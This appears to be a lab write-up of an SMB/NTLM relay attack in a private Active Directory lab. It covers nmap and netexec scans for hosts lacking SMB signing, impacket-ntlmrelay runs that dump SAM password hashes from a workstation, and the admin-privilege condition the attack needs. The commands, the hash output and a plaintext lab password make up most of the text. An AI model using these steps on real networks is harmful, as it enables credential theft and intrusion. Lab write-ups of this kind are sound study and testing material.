SMB Relay Attack
Keywords
active directory, smb, NTLM relayInfrastructure
- dc01: 10.10.1.200
- ws01: 10.10.1.201
- ws02: 10.10.1.202
- attacker: 10.10.1.102
Pre-requisite
SMB Signing
-
using
nmap$ nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202 # Nmap 7.93 scan initiated Fri Dec 15 16:11:55 2023 as: nmap -vvv -p 445 -Pn --script smb2-security-mode.nse -oA nmap/smb 10.10.1.200 10.10.1.201 10.10.1.202 Nmap scan report for dc01 (10.10.1.200) Host is up, received user-set (0.0011s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled and required Nmap scan report for ws01 (10.10.1.201) Host is up, received user-set (0.00090s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Nmap scan report for ws02 (10.10.1.202) Host is up, received user-set (0.00096s latency). Scanned at 2023-12-15 16:11:59 +08 for 0s PORT STATE SERVICE REASON 445/tcp open microsoft-ds syn-ack Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Dec 15 16:11:59 2023 -- 3 IP addresses (3 hosts up) scanned in 3.61 seconds- Domain controller has
Message signing enabled and required - Both workstations have
Message signing enabled but not required(vulnerable to SMB relay attack)
- Domain controller has
-
using
netexec$ netexec smb 10.10.1.200 10.10.1.201 10.10.1.202 --gen-relay-list smb-signing-false.txt SMB 10.10.1.201 445 WS01 [*] Windows 10.0 Build 17763 x64 (name:WS01) (domain:oscp.lab) (signing:False) (SMBv1:False) SMB 10.10.1.202 445 WS02 [*] Windows 10.0 Build 17763 x64 (name:WS02) (domain:oscp.lab) (signing:False) (SMBv1:False) SMB 10.10.1.200 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:oscp.lab) (signing:True) (SMBv1:False)- Domain controller has
signing:True - Both workstations have
signing:False(vulnerable to SMB relay attack)
- Domain controller has
Administrator Privilege
When relaying to target machine X from machine Y as a user domain\john,
the user needs to have administrator privilege on the target machine X for
this attack to work.
In the setup environment, oscp\alice is in the Administrators group on
both ws01 and ws02. Thus, we could relay from anywhere (except for the
target machine itself) to either ws01 or ws02 as oscp\alice. On the
other hand, oscp\bob only has admin privilege on ws02. Hence, we could
only relay from anywhere (dc01, ws01) to ws02 as oscp\bob.
Example
note
If impacket is installed on a virtual environment and needs to execute with sudo
sudo --preserve-env=PATH env impacket-ntlmrelay ...
Relaying from ws01 to ws02 as oscp\alice (Succeed)
Attacker
$ impacket-ntlmrelay -t 10.10.1.202 -smb2support
[...]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.201, attacking target smb://10.10.1.202
[*] Authenticating against smb://10.10.1.202 as OSCP/ALICE SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x056273c5da163bf69d211acdca6423fc
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5f91be10619e258821be997884b135f7:::
bob:1002:aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b:::
[*] Done dumping SAM hashes for host: 10.10.1.202
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Victim
C:\Users\Public> hostname
ws01
C:\Users\Public> net use \\10.10.1.102 /user:oscp\alice Passw0rd!
Relaying from ws02 to ws01 as oscp\bob (Failed)
Attacker
$ impacket-ntlmrelay -t 10.10.1.201 -smb2support
[...]
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.1.202, attacking target smb://10.10.1.201
[*] Authenticating against smb://10.10.1.201 as OSCP/BOB SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
Victim
C:\Users\Public> hostname
ws02
C:\Users\Public> net use \\10.10.1.102 /user:oscp\bob Passw0rd!